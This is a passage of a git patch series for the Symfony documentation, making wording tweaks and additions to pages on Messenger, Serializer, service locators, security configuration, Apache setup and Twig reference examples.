+
+This interface is implemented by the following transports: AmazonSqs, Amqp and Redis.
+If you want to close a Doctrine connection, this can be achieved :ref:`using middleware <middleware-for-doctrine>`.
+
+.. versionadded:: 7.3
+
+    The ``CloseableTransportInterface`` and ``close`` method were introduced in Symfony 7.3.
+
 Running Commands And External Processes
 ---------------------------------------
 

From 76f7e6e9506ebc8f04d956af63d9c4b723eca446 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Mar 2025 16:59:53 +0100
Subject: [PATCH 6853/7107] Minor tweak

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7986140e050..3f34f792630 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1025,8 +1025,8 @@ exceptions
 
 **type**: ``array``
 
-Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>` and HTTP status code applied to the
-exceptions that match the given exception class:
+Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>`
+and HTTP status code applied to the exceptions that match the given exception class:
 
 .. configuration-block::
 

From 5b9b62ea671b4894c733dccd4a49e1acc5d20686 Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Sun, 30 Mar 2025 10:45:20 +0200
Subject: [PATCH 6854/7107] Add CLI team description

---
 contributing/core_team.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 88c9edf45ab..f895dcd00d8 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -69,6 +69,7 @@ In addition, there are other groups created to manage specific topics:
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.);
 * **Symfony UX Team**: manages the `UX repositories`_;
+* **Symfony CLI Team**: manages the `CLI repositories`_;
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -100,7 +101,6 @@ Active Core Members
   * **Berislav Balogović** (`hypemc`_);
   * **Mathias Arlaud** (`mtarld`_);
   * **Florent Morselli** (`spomky`_);
-  * **Tugdual Saunier** (`tucksaun`_);
   * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
@@ -116,6 +116,11 @@ Active Core Members
   * **Hugo Alliaume** (`kocal`_);
   * **Matheo Daninos** (`webmamba`_).
 
+* **Symfony CLI Team** (``@symfony-cli/core`` on GitHub):
+
+  * **Fabien Potencier** (`fabpot`_);
+  * **Tugdual Saunier** (`tucksaun`_).
+
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
@@ -333,6 +338,7 @@ discretion of the **Project Leader**.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`UX repositories`: https://github.com/symfony/ux
+.. _`CLI repositories`: https://github.com/symfony-cli
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From 1d02e0ca8e4be30395bcd45b183b3b1129de4cd6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Mar 2025 08:02:46 +0200
Subject: [PATCH 6855/7107] Minor tweaks

---
 messenger.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 06ad586407d..fc8f9491022 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2254,19 +2254,21 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
-Closing connection
-~~~~~~~~~~~~~~~~~~
+Closing Connections
+~~~~~~~~~~~~~~~~~~~
 
-When using a transport that requires a connection, you can close it using
-the :method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
-method to allow free resources for long-running processes.
+When using a transport that requires a connection, you can close it by calling the
+:method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
+method to free up resources in long-running processes.
 
-This interface is implemented by the following transports: AmazonSqs, Amqp and Redis.
-If you want to close a Doctrine connection, this can be achieved :ref:`using middleware <middleware-for-doctrine>`.
+This interface is implemented by the following transports: AmazonSqs, Amqp, and Redis.
+If you need to close a Doctrine connection, you can do so
+:ref:`using middleware <middleware-for-doctrine>`.
 
 .. versionadded:: 7.3
 
-    The ``CloseableTransportInterface`` and ``close`` method were introduced in Symfony 7.3.
+    The ``CloseableTransportInterface`` and its ``close()`` method were introduced
+    in Symfony 7.3.
 
 Running Commands And External Processes
 ---------------------------------------

From bffad6daf493a377863a6389799623defd92de52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 09:05:00 +0200
Subject: [PATCH 6856/7107] Minor tweaks

---
 serializer.rst | 61 +++++++++++++++++++++++++-------------------------
 1 file changed, 30 insertions(+), 31 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 5f9144abae0..1fca42a3572 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1544,13 +1544,13 @@ Named Serializers
 
     Named serializers were introduced in Symfony 7.2.
 
-Sometimes, you may need multiple configurations for the serializer, such
-as different default contexts, name converters, or sets of normalizers and
-encoders, depending on the use case. For example, when your application
-communicates with multiple APIs, each with its own set of rules.
+Sometimes, you may need multiple configurations for the serializer, such as
+different default contexts, name converters, or sets of normalizers and encoders,
+depending on the use case. For example, when your application communicates with
+multiple APIs, each of which follows its own set of serialization rules.
 
-This can be achieved by configuring multiple instances of the serializer
-using the ``named_serializers`` option:
+You can achieve this by configuring multiple serializer instances using
+the ``named_serializers`` option:
 
 .. configuration-block::
 
@@ -1633,7 +1633,7 @@ using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
     class PersonController extends AbstractController
     {
         public function index(
-            SerializerInterface $serializer,           // Default serializer
+            SerializerInterface $serializer,           // default serializer
             SerializerInterface $apiClient1Serializer, // api_client1 serializer
             #[Target('apiClient2.serializer')]         // api_client2 serializer
             SerializerInterface $customName,
@@ -1642,10 +1642,10 @@ using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
         }
     }
 
-Named serializers are configured with the default set of normalizers and encoders.
-
-You can register additional normalizers and encoders with a specific named
-serializer by adding a ``serializer`` attribute to
+By default, named serializers use the built-in set of normalizers and encoders,
+just like the main serializer service. However, you can customize them by
+registering additional normalizers or encoders for a specific named serializer.
+To do that, add a ``serializer`` attribute to
 the :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`
 or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
 
@@ -1658,14 +1658,14 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             # ...
 
             Symfony\Component\Serializer\Normalizer\CustomNormalizer:
-                # Prevent this normalizer from automatically being included in the default serializer
+                # prevent this normalizer from being automatically added to the default serializer
                 autoconfigure: false
                 tags:
-                    # Include this normalizer in a single serializer
+                    # add this normalizer only to a specific named serializer
                     - serializer.normalizer: { serializer: 'api_client1' }
-                    # Include this normalizer in multiple serializers
+                    # add this normalizer to several named serializers
                     - serializer.normalizer: { serializer: [ 'api_client1', 'api_client2' ] }
-                    # Include this normalizer in all serializers (including the default one)
+                    # add this normalizer to all serializers, including the default one
                     - serializer.normalizer: { serializer: '*' }
 
     .. code-block:: xml
@@ -1680,20 +1680,19 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             <services>
                 <!-- ... -->
 
-                <!-- Disable autoconfigure to prevent this normalizer from automatically -->
-                <!-- being included in the default serializer -->
+                <!-- prevent this normalizer from being automatically added to the default serializer -->
                 <service
                     id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"
                     autoconfigure="false"
                 >
-                    <!-- Include this normalizer in a single serializer -->
+                    <!-- add this normalizer only to a specific named serializer -->
                     <tag name="serializer.normalizer" serializer="api_client1"/>
 
-                    <!-- Include this normalizer in multiple serializers -->
+                    <!-- add this normalizer to several named serializers -->
                     <tag name="serializer.normalizer" serializer="api_client1"/>
                     <tag name="serializer.normalizer" serializer="api_client2"/>
 
-                    <!-- Include this normalizer in all serializers (including the default one) -->
+                    <!-- add this normalizer to all serializers, including the default one -->
                     <tag name="serializer.normalizer" serializer="*"/>
                 </service>
             </services>
@@ -1710,32 +1709,32 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             // ...
 
             $services->set(CustomNormalizer::class)
-                // Prevent this normalizer from automatically being included in the default serializer
+                // prevent this normalizer from being automatically added to the default serializer
                 ->autoconfigure(false)
 
-                // Include this normalizer in a single serializer
+                // add this normalizer only to a specific named serializer
                 ->tag('serializer.normalizer', ['serializer' => 'api_client1'])
-                // Include this normalizer in multiple serializers
+                // add this normalizer to several named serializers
                 ->tag('serializer.normalizer', ['serializer' => ['api_client1', 'api_client2']])
-                // Include this normalizer in all serializers (including the default one)
+                // add this normalizer to all serializers, including the default one
                 ->tag('serializer.normalizer', ['serializer' => '*'])
             ;
         };
 
-When the ``serializer`` attribute is not set, the service is registered with
+When the ``serializer`` attribute is not set, the service is registered only with
 the default serializer.
 
-Each normalizer and encoder used in a named serializer is tagged with
-a ``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag,
-which can be used to list their priorities using the following command:
+Each normalizer or encoder used in a named serializer is tagged with a
+``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag.
+You can inspect their priorities using the following command:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container --tag serializer.<normalizer|encoder>.<name>
 
-Additionally, you can exclude the default set of normalizers and encoders by
-setting the ``include_built_in_normalizers`` and ``include_built_in_encoders``
-options to ``false``:
+Additionally, you can exclude the default set of normalizers and encoders from a
+named serializer by setting the ``include_built_in_normalizers`` and
+``include_built_in_encoders`` options to ``false``:
 
 .. configuration-block::
 

From 8d35db9a1f83b31f7828f8910c744a91f60a82c3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 09:57:29 +0200
Subject: [PATCH 6857/7107] Tweaks

---
 .../service_subscribers_locators.rst          | 23 ++++++++++---------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d154f2dce3d..14cdb010152 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -298,10 +298,10 @@ This is done by having ``getSubscribedServices()`` return an array of
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
 .. _service-locator_autowire-locator:
-.. _service-locator_autowire-iterator:
+.. _the-autowirelocator-and-autowireiterator-attributes:
 
-The AutowireLocator and AutowireIterator Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The AutowireLocator Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Another way to define a service locator is to use the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
@@ -381,16 +381,17 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
+.. _service-locator_autowire-iterator:
+
 The AutowireIterator Attribute
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Variant of the ``AutowireLocator`` that specifically provides an iterable of services
-based on a tag. This allows you to collect all services with a particular tag into
-an iterable, which can be useful when you need to iterate over a set of services
-rather than retrieving them individually.
 
-For example, if you want to collect all the handlers for different command types,
-you can use the ``AutowireIterator`` attribute to automatically inject all services
-tagged with a specific tag::
+A variant of ``AutowireLocator`` that injects an iterable of services tagged
+with a specific :doc:`tag </service_container/tags>`. This is useful to loop
+over a set of tagged services instead of retrieving them individually.
+
+For example, to collect all handlers for different command types, use the
+``AutowireIterator`` attribute and pass the tag used by those services::
 
     // src/CommandBus.php
     namespace App;
@@ -404,7 +405,7 @@ tagged with a specific tag::
     {
         public function __construct(
             #[AutowireIterator('command_handler')]
-            private iterable $handlers, // Collects all services tagged with 'command_handler'
+            private iterable $handlers, // collects all services tagged with 'command_handler'
         ) {
         }
 

From 6fd2b0e53a6bf8700152c05ec384f5b27bc14d85 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 16:06:08 +0200
Subject: [PATCH 6858/7107] Minor tweaks

---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 231969f9487..5565c65bdba 100644
--- a/translation.rst
+++ b/translation.rst
@@ -497,9 +497,9 @@ Symfony looks for message files (i.e. translations) in the following default loc
   ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
-override the translation messages of a bundle in the first directory. Bundles are processed
-in the order they are given in the ``config/bundles.php`` file, so bundles listed first have
-higher priority.
+override the translation messages of a bundle in the first directory. Bundles are
+processed in the order in which they are listed in the ``config/bundles.php`` file,
+so bundles appearing earlier have higher priority.
 
 The override mechanism works at a key level: only the overridden keys need
 to be listed in a higher priority message file. When a key is not found

From 4742f5d77f54ed153beefbb510b8591c0830bae4 Mon Sep 17 00:00:00 2001
From: Fabian Freiburg <f.freiburg@gmail.com>
Date: Wed, 5 Feb 2025 15:14:38 +0100
Subject: [PATCH 6859/7107] Readd handling of fallback of bundles directory in
 Apache config

---
 setup/web_server_configuration.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 0612f609721..fdedfc81794 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -178,6 +178,14 @@ directive to pass requests for PHP files to PHP FPM:
         #     Options FollowSymlinks
         # </Directory>
 
+        # optionally disable the fallback resource for the asset directories
+        # which will allow Apache to return a 404 error when files are
+        # not found instead of passing the request to Symfony
+        # <Directory /var/www/project/public/bundles>
+        #     DirectoryIndex disabled
+        #     FallbackResource disabled
+        # </Directory>
+
         ErrorLog /var/log/apache2/project_error.log
         CustomLog /var/log/apache2/project_access.log combined
     </VirtualHost>

From 671eba4dc083e285978a5fb723f2bad4b93976e6 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 2 Apr 2025 05:45:39 +0200
Subject: [PATCH 6860/7107] [FrameworkBundle] Deprecate setting the
 collect_serializer_data to false

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3f34f792630..bcf99d989c7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2352,12 +2352,16 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
 collect_serializer_data
 .......................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
-Set this option to ``true`` to enable the serializer data collector and its
-profiler panel. When this option is ``true``, all normalizers and encoders are
+When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.
 
+.. deprecated:: 7.3
+
+    Setting the ``collect_serializer_data`` option to ``false`` is deprecated
+    since Symfony 7.3.
+
 .. _profiler-dsn:
 
 dsn

From 7b9ffb28b276674ae330e113c07e578b87055200 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Apr 2025 17:00:44 +0200
Subject: [PATCH 6861/7107] Tweaks

---
 service_container/tags.rst | 25 +++++++------------------
 1 file changed, 7 insertions(+), 18 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ae10f8ef51a..fab25ea910a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -155,24 +155,8 @@ In a Symfony application, call this method in your kernel class::
         }
     }
 
-In a Symfony bundle, call this method in the ``load()`` method of the
-:doc:`bundle extension class </bundles/extension>`::
-
-    // src/DependencyInjection/MyBundleExtension.php
-    class MyBundleExtension extends Extension
-    {
-        // ...
-
-        public function load(array $configs, ContainerBuilder $container): void
-        {
-            $container->registerForAutoconfiguration(CustomInterface::class)
-                ->addTag('app.custom_tag')
-            ;
-        }
-    }
-
-or if you are following the recommended way for new bundles and for bundles following the
-:ref:`recommended directory structure <bundles-directory-structure>`::
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, call this method in the ``loadExtension()`` method of the main bundle class::
 
     // ...
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -190,6 +174,11 @@ or if you are following the recommended way for new bundles and for bundles foll
         }
     }
 
+.. note::
+
+    For bundles not extending the ``AbstractBundle`` class, call this method in
+    the ``load()`` method of the :doc:`bundle extension class </bundles/extension>`.
+
 Autoconfiguration registering is not limited to interfaces. It is possible
 to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`

From b1e2c53a4bc85add8633e13b02e676961503b2a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:49:41 +0200
Subject: [PATCH 6862/7107] Tweaks

---
 reference/configuration/security.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b4ba6696e18..3ccea5f9026 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1004,11 +1004,11 @@ the session must not be used when authenticating users:
 .. _reference-security-lazy:
 
 lazy
-~~~~~~~~~
+~~~~
 
-Firewalls can configure a ``lazy`` boolean option in order to load the user and start the session only
-if the application actually accesses the User object,
-(e.g. via a is_granted() call in a template or isGranted() in a controller or service):
+Firewalls can configure a ``lazy`` boolean option to load the user and start the
+session only if the application actually accesses the User object, (e.g. calling
+``is_granted()`` in a template or ``isGranted()`` in a controller or service):
 
 .. configuration-block::
 
@@ -1048,8 +1048,8 @@ if the application actually accesses the User object,
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security): void {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->lazy(true);
+            $security->firewall('main')
+                ->lazy(true);
             // ...
         };
 

From 6cfc92a41d05b0034ab643ab86538cd65b353670 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:57:25 +0200
Subject: [PATCH 6863/7107] Minor tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c0822f97fdd..cefa6b8c0d4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1865,9 +1865,9 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis. Allows to set explicit consumer name identifier.
-    Recommended for environments with multiple workers to prevent duplicate message processing.
-    Typically set via environment variable:
+    Consumer name used in Redis. Allows setting an explicit consumer name identifier.
+    Recommended in environments with multiple workers to prevent duplicate message
+    processing. Typically set via an environment variable:
 
     .. code-block:: yaml
 

From 111956866e03a6fbbc015e0af60a16bbe5278554 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:59:29 +0200
Subject: [PATCH 6864/7107] [Messenger] Add consumer name documentation

---
 messenger.rst | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e86bc73d1c6..6fbfd36385d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1698,7 +1698,20 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis
+    Consumer name used in Redis. Allows setting an explicit consumer name identifier.
+    Recommended in environments with multiple workers to prevent duplicate message
+    processing. Typically set via an environment variable:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        options:
+                            consumer: '%env(MESSENGER_CONSUMER_NAME)%'
 
 ``auto_setup`` (default: ``true``)
     Whether to create the Redis group automatically

From 0ff840444f265d5492238a92df8081e01eaaf6d2 Mon Sep 17 00:00:00 2001
From: Adam Prancz <adam.prancz@gmail.com>
Date: Wed, 18 Dec 2024 09:48:18 +0100
Subject: [PATCH 6865/7107] [Serializer] Update serializer.rst

---
 serializer.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 7f2569eb104..24ec7e325e0 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1352,6 +1352,31 @@ normalizers (in order of priority):
     This denormalizer converts an array of arrays to an array of objects
     (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
 
+    ByUsing the PropertyInfoExtractor you can simply annotate the arrays by '@var Person[]'
+
+    .. configuration-block::
+
+        .. code-block:: php-standalone
+
+            use Symfony\Component\PropertyInfo\Extractor\PhpDocExtractor;
+            use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+            use Symfony\Component\PropertyInfo\PropertyInfoExtractor;
+            use Symfony\Component\Serializer\Encoder\JsonEncoder;
+            use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+            use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+            use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
+            use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+            use Symfony\Component\Serializer\Serializer;
+    
+            $reflectionExtractor = new ReflectionExtractor();
+            $phpDocExtractor = new PhpDocExtractor();
+            $propertyInfo = new PropertyInfoExtractor([], [$phpDocExtractor, $reflectionExtractor]);
+            
+            $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+            $normalizers = [new ObjectNormalizer($classMetadataFactory, null, null, $propertyInfo), new ArrayDenormalizer()];
+            
+            $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This is the most powerful default normalizer and used for any object
     that could not be normalized by the other normalizers.

From 5e6d3b08c2aab43c19e319928f23769764214366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 09:12:44 +0200
Subject: [PATCH 6866/7107] Minor tweaks

---
 serializer.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 24ec7e325e0..6e20a651341 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1352,7 +1352,8 @@ normalizers (in order of priority):
     This denormalizer converts an array of arrays to an array of objects
     (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
 
-    ByUsing the PropertyInfoExtractor you can simply annotate the arrays by '@var Person[]'
+    Use :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor` to provide
+    hints with annotations like ``@var Person[]``:
 
     .. configuration-block::
 
@@ -1367,13 +1368,9 @@ normalizers (in order of priority):
             use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
             use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
             use Symfony\Component\Serializer\Serializer;
-    
-            $reflectionExtractor = new ReflectionExtractor();
-            $phpDocExtractor = new PhpDocExtractor();
-            $propertyInfo = new PropertyInfoExtractor([], [$phpDocExtractor, $reflectionExtractor]);
-            
-            $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-            $normalizers = [new ObjectNormalizer($classMetadataFactory, null, null, $propertyInfo), new ArrayDenormalizer()];
+
+            $propertyInfo = new PropertyInfoExtractor([], [new PhpDocExtractor(), new ReflectionExtractor()]);
+            $normalizers = [new ObjectNormalizer(new ClassMetadataFactory(new AttributeLoader()), null, null, $propertyInfo), new ArrayDenormalizer()];
             
             $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
 

From 05ff5258e27fd36bc5fdec0391b6833ab302a4f8 Mon Sep 17 00:00:00 2001
From: Ignacio Aguirre <52148018+nachoaguirre@users.noreply.github.com>
Date: Tue, 10 Dec 2024 23:47:02 -0300
Subject: [PATCH 6867/7107] Update dynamic_form_modification.rst

Update the namespace of the class to subscribe to events. Currently it points to \EventListener, but I find it more coherent to associate it with \EventSubscriber
---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 09be80ebb5a..a1f32c7c16c 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -138,8 +138,8 @@ For better reusability or if there is some heavy logic in your event listener,
 you can also move the logic for creating the ``name`` field to an
 :ref:`event subscriber <event_dispatcher-using-event-subscribers>`::
 
-    // src/Form/EventListener/AddNameFieldSubscriber.php
-    namespace App\Form\EventListener;
+    // src/Form/EventSubscriber/AddNameFieldSubscriber.php
+    namespace App\Form\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
@@ -172,7 +172,7 @@ Great! Now use that in your form class::
     namespace App\Form\Type;
 
     // ...
-    use App\Form\EventListener\AddNameFieldSubscriber;
+    use App\Form\EventSubscriber\AddNameFieldSubscriber;
 
     class ProductType extends AbstractType
     {

From 850666f30df9503367b415410c083df1fb44da73 Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 27 Nov 2024 14:59:57 +0100
Subject: [PATCH 6868/7107] [Twig] [twig reference] add examples to functions
 and filter

---
 reference/twig_reference.rst | 199 +++++++++++++++++++++++++++++++++++
 1 file changed, 199 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 21f251dc6de..4b145364b0e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -110,6 +110,22 @@ asset
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        assets:
+            packages:
+                foo_package:
+                    base_path: /avatars
+
+.. code-block:: twig
+
+    {# the image lives at "public/avatars/avatar.png" #}
+    {{ asset(path = 'avatar.png', packageName = 'foo_package') }}
+    {# output: /avatars/avatar.png #}
+
 Returns the public path of the given asset path (which can be a CSS file, a
 JavaScript file, an image path, etc.). This function takes into account where
 the application is installed (e.g. in case the project is accessed in a host
@@ -187,6 +203,30 @@ logout_path
 Generates a relative logout URL for the given firewall. If no key is provided,
 the URL is generated for the current firewall the user is logged into.
 
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+
+        firewalls:
+            main:
+                # ...
+                logout:
+                    path: '/logout'
+            othername:
+                # ...
+                logout:
+                    path: '/other/logout'
+
+.. code-block:: twig
+
+    {{ logout_path(key = 'main') }}
+    {# output: /logout #}
+
+    {{ logout_path(key = 'othername') }}
+    {# output: /other/logout #}
+
 logout_url
 ~~~~~~~~~~
 
@@ -200,6 +240,30 @@ logout_url
 Equal to the `logout_path`_ function, but it'll generate an absolute URL
 instead of a relative one.
 
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+
+        firewalls:
+            main:
+                # ...
+                logout:
+                    path: '/logout'
+            othername:
+                # ...
+                logout:
+                    path: '/other/logout'
+
+.. code-block:: twig
+
+    {{ logout_url(key = 'main') }}
+    {# output: http://example.org/logout #}
+
+    {{ logout_url(key = 'othername') }}
+    {# output: http://example.org/other/logout #}
+
 path
 ~~~~
 
@@ -217,6 +281,14 @@ path
 Returns the relative URL (without the scheme and host) for the given route.
 If ``relative`` is enabled, it'll create a path relative to the current path.
 
+.. code-block:: twig
+
+    {{ path(name = 'app_blog', parameters = {page: 3}, relative = false) }}
+    {# output (depending on the route configuration): /blog/3 or /blog?page=3 #}
+
+    {{ path(name = 'app_blog', parameters = {page: 3}, relative = true) }}
+    {# output (depending on the route configuration): blog/3 or ?page=3 #}
+
 .. seealso::
 
     Read more about :doc:`Symfony routing </routing>` and about
@@ -239,6 +311,16 @@ url
 Returns the absolute URL (with scheme and host) for the given route. If
 ``schemeRelative`` is enabled, it'll create a scheme-relative URL.
 
+.. code-block:: twig
+
+    {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = false) }}
+    {# output (depending on the route configuration): http://example.org/blog/3
+    or http://example.org/blog?page=3 #}
+
+    {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = true) }}
+    {# output (depending on the route configuration): //example.org/blog/3
+    or //example.org/blog?page=3 #}
+
 .. seealso::
 
     Read more about :doc:`Symfony routing </routing>` and about
@@ -290,6 +372,11 @@ expression
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related
 to the :doc:`ExpressionLanguage component </components/expression_language>`.
 
+.. code-block:: twig
+
+    {{ expression(1 + 2) }}
+    {# output: 3 #}
+
 impersonation_path
 ~~~~~~~~~~~~~~~~~~
 
@@ -373,6 +460,42 @@ t
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/blog.en.yaml
+        message: Hello %name%
+
+    .. code-block:: xml
+
+        <!-- translations/blog.en.xlf -->
